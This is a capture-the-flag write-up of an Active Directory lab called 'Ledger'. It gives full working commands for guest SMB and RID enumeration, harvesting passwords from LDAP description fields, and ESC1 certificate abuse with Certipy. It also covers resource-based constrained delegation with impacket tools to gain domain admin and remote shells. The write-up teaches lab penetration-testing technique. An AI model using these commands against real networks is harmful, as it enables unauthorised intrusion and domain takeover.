Ledger
This challenge simulates a real cyber-attack scenario where you must exploit an Active Directory. - by h4sh3m00
The following post by 0xb0b is licensed under CC BY 4.0
Recon
Nmap
We start with a Nmap scan, which revealed multiple services typical of an Active Directory environment, including DNS (53), HTTP/HTTPS (80, 443), Kerberos (88, 464), SMB (445), LDAP (389, 636), Global Catalog services (3268, 3269), and MSRPC/NetBIOS (135, 139). Additional services such as Remote Desktop Protocol (3389), Windows Remote Management (47001), Active Directory Web Services (9389), and a range of high-numbered ephemeral ports (49664–49716) commonly used for DCOM and RPC communication were also observed.

From the default script scan, we see that we have an IIS running on ports 80 and 443. Here we can identify the domain name thm.local
, among others. We add this directly to /etc/hosts
.
thm.local

Web Server
Unfortunately, only IIS default pages are on the web servers available. There seems to be no entry point here. However, we can look at the issued certificate on the HTTPS page to possibly gain further important information.

Here we can identify there certificate authority. We add this to our /etc/hosts
.
thm-LABYRINTH-CA

SMB
Since we have SMB available, we start enumerating it with NetExec (formerly CrackMapExec). It is an enumeration tool used for assessing and interacting with SMB and other network services. We use the built-in guest
account and an empty password for an initial enumeration.
Initial connectivity was verified with the guest account without a password.
nxc smb ledger.thm -u guest -p ''
We are able to connect as guest. We then list the available shares for the guest account. This confirmed that the IPC$
share was readable.
nxc smb ledger.thm -u guest -p '' --shares
To further enumerate domain users, we perform a RID brute-force, since the IPC$
share is readable.
nxc smb ledger.thm -u guest -p '' --rid

With this user list we could try kerberoasting or bruteforcing the accounts, but this was unsuccessful.
SHANA_FITZGERALD
CAREY_FIELDS
DWAYNE_NGUYEN
BRANDON_PITTMAN
BRET_DONALDSON
VAUGHN_MARTIN
DICK_REEVES
EVELYN_NEWMAN
SHERI_DYER
NUMBERS_BARRETT
SUSANA_LOWERY
MIKE_TODD
JOSEF_MONROE
DAWN_DAVID
VIVIAN_VELAZQUEZ
WESLEY_FULLER
MARISOL_LANG
DIONNE_MCCOY
NOEL_BOOTH
TAMRA_BULLOCK
ROLAND_COLE
KATHY_WYNN
LORENA_BENSON
FELIX_CHARLES
ROBERTO_MORIN
...
LDAP
Next, we try an anonymous LDAP search against the domain controller at 10.10.161.74
on the default LDAP port (389), using the base DN dc=thm,dc=local
. Since port 389 was found open during enumeration, this search helps gather valuable directory information such as users, groups, and organizational structure, which can aid in further attacks.
ldapsearch -x -H ldap://10.10.161.74 -b "dc=thm,dc=local" > ldapsearch.txt
When looking through the results, the description fields of some users stand out. For quick tracking, the results can be searched out directly using grep.
cat ldapsearch.txt| grep description
For some users (IVY_WILLIS
and SUSANNA_MCKNIGHT
), there are instructions to change REDACTED. Probably the password of the users that was set.
description: Please change it: REDACTED


IVY_WILLIS
SUSANNA_MCKNIGHT
We use Netexec to test whether the passwords are still valid and whether they also apply to other users that we had previously determined using RID Brute Force.
We can confirm that the passwords are still valid for both users.
nxc smb ledger.thm -u usernames.txt -p 'REDACTED' --continue-on-success

Foothold
We are using bloodhound-python
to enumerate Active Directory objects and relationships using the found credentials within the thm.local
domain.
bloodhound-python -d thm.local -c All -u 'IVY_WILLIS' -p 'REDACTED!' -ns 10.10.161.74 --dns-tcp
IVY_WILLIS
is not part of the REMOTE MANAGEMENT USERS
group, nor the REMOTE DESKTOP USERS
group. But SUSANNA_MCKNIGHT
. We also enumerated the credentials of this user.

User Flag
We use Remmina to get a RDP connection as SUSANNA_MCKNIGHT
and we'll find the user flag on the Desktop of the user.

Privilege Escalation - ESC1
In addition to using BloodHound to enumerate objects and relationships within Active Directory, there are also tools specifically designed for enumerating certificate-related vulnerabilities. Notable examples include Certipy and SpecterOps' research, which help identify vulnerable certificate templates that can be exploited for privilege escalation.
We use the credentials of SUSANNA_MCKNIGHT
to enumerate misconfigured templates using certipy-ad
.
certipy-ad find -u SUSANNA_MCKNIGHT@local.thm -p 'REDACTED' -dc-ip 10.10.161.74 -vulnerable

We receive a json output with the results. The certificate templates ServerAuth
and Computer2
are misconfigured to allow any authenticated user to enroll and supply arbitrary subject names, enabling ESC1 attacks for impersonation via client authentication.
ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).
For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the
-upn
and-dns
parameter, respectively.
Results of Certipy:
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/ledger]
└─$ cat 20250502165916_Certipy.json
{
"Certificate Authorities": {
"0": {
"CA Name": "thm-LABYRINTH-CA",
"DNS Name": "labyrinth.thm.local",
"Certificate Subject": "CN=thm-LABYRINTH-CA, DC=thm, DC=local",
"Certificate Serial Number": "5225C02DD750EDB340E984BC75F09029",
"Certificate Validity Start": "2023-05-12 07:26:00+00:00",
"Certificate Validity End": "2028-05-12 07:35:59+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "THM.LOCAL\\Administrators",
"Access Rights": {
"2": [
"THM.LOCAL\\Administrators",
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"1": [
"THM.LOCAL\\Administrators",
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins"
],
"512": [
"THM.LOCAL\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "ServerAuth",
"Display Name": "ServerAuth",
"Certificate Authorities": [
"thm-LABYRINTH-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"None"
],
"Private Key Flag": [
"16842752"
],
"Extended Key Usage": [
"Client Authentication",
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Domain Computers",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Authenticated Users"
]
},
"Object Control Permissions": {
"Owner": "THM.LOCAL\\Administrator",
"Write Owner Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Administrator"
],
"Write Dacl Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Administrator"
],
"Write Property Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Administrator"
]
}
},
"[!] Vulnerabilities": {
"ESC1": "'THM.LOCAL\\\\Domain Computers' and 'THM.LOCAL\\\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication"
}
},
"1": {
"Template Name": "Computer2",
"Display Name": "Computer2",
"Enabled": false,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"None"
],
"Private Key Flag": [
"16842752"
],
"Extended Key Usage": [
"Server Authentication",
"Client Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Domain Computers",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Authenticated Users"
]
},
"Object Control Permissions": {
"Owner": "THM.LOCAL\\Administrator",
"Write Owner Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Administrator"
],
"Write Dacl Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Administrator"
],
"Write Property Principals": [
"THM.LOCAL\\Domain Admins",
"THM.LOCAL\\Enterprise Admins",
"THM.LOCAL\\Administrator"
]
}
},
"[!] Vulnerabilities": {
"ESC1": "'THM.LOCAL\\\\Domain Computers' and 'THM.LOCAL\\\\Authenticated Users' can enroll, enrollee supplies subject and template allows client authentication"
}
}
}
}
On the machine we find the user BRADLEY_ORITZ
.

Using Bloodhound, we have already identified the user as one of the domain admins. We could therefore impersonate BRADLEY_ORITZ
or the Administrator
using ESC1
to escalate our privileges. Let's continue with the ESC1 exploit.

We choose BRADLEY_ORTIZ
. We follow the steps from the repository:
https://github.com/ly4k/Certipy?tab=readme-ov-file#esc1
We request a certificate as SUSANNA_MCKNIGHT
, specify the Certificate Authority thm-LABYRINTH-CA
, the machine labyrinth.thm.local
and the vulnerable certificate template ServerAuth
. Furthermore, the upn bradley_ortiz@thm.local
to impersonate this identity. We receive a .pfx
file.
certipy-ad req -username SUSANNA_MCKNIGHT -password 'REDACTED' -ca thm-LABYRINTH-CA -target labyrinth.thm.local -template ServerAuth -upn bradley_ortiz@thm.local -dns 10.10.161.74 -debug

Next, we authenticate as BRADLEY_ORTIZ
using the certificate. This will give us the NT hash.
certipy-ad auth -pfx bardley_ortiz_10.pfx -dc-ip 10.10.161.74

Root Flag
With the hash, we can use wmiexec to get an interactive session as BRADLEY_ORTIZ
. We are able to reach the Administrator's Users folder, where the final flag is located at the Administrator's Desktop.
impacket-wmiexec -hashes :REDACTED THM.LOCAL/bradley_ortiz@labyrinth.thm.local

Privilege Escalation Alternative - Resource-Based Constrained Delegation
There is another way to extend the privileges. Let's take another look at the relationships and permissions in Bloodhound. Here we notice that the GUESTS
group has a generic write permission on the computer object LABYRINTH.THM.LOCAL
.
Found by Shortest Path to Domain Admins
This allows us a Resource-Based Constrained Delegation
attack.

For more information on how to abuse this permission, simply right-click on the edge and click Help?
:
The members of the group GUESTS@THM.LOCAL have generic write access to the computer LABYRINTH.THM.LOCAL.
Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user
Resource-Based Constrained Delegation
Resource-Based Constrained Delegation
First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script:
addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'
We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose:
rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'
And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose.
getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'
This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER
So first, we need ot add a new computer object. In Active Directory, any authenticated user (by default) can add up to 10 computer objects to the domain. This can be abused to register a machine account that we control, which can later be used for attacks like Kerberoasting or Resource-Based Constrained Delegation (RBCD). We do this with the credentials previously obtained.
impacket-addcomputer -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Password1!' -dc-host 10.10.161.74 -domain-netbios thm.local 'THM.LOCAL/SUSANNA_MCKNIGHT:REDACTED'

We now need to configure the target object so that our computer can delegate to it. We do not supply any credentials for the GUEST account.
rbcd.py THM.LOCAL/guest:'' -dc-ip 10.10.161.74 -delegate-to LABYRINTH$ -delegate-from ATTACKERSYSTEM$ -action write

We finally get a service ticket for the service name (sname) we want to "pretend" to be.
getST.py -impersonate Administrator THM.LOCAL/ATTACKERSYSTEM\$:'Password1!' -spn cifs/LABYRINTH.THM.LOCAL -dc-ip 10.10.161.74

We use the Kerberos ticket Administrator.ccache
to authenticate with smbclient.py
using the -k
(Kerberos) and -no-pass
options. This allowes to enumerate SMB shares on the domain controller LABYRINTH.THM.LOCAL
without supplying a password as Administrator. We are able to read and write on all shares including the C drive. Here we will find the final flag at
C:\Users\Administrator\Desktop\root.txt
.
export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass LABYRINTH.THM.LOCAL -dc-ip 10.10.161.74 -target-ip 10.10.161.74

We could also get and interactive session with wmiexec.py
using the Kerberos ticket.
wmiexec.py -k -no-pass THM.LOCAL/Administrator@labyrinth.thm.local

Last updated
Was this helpful?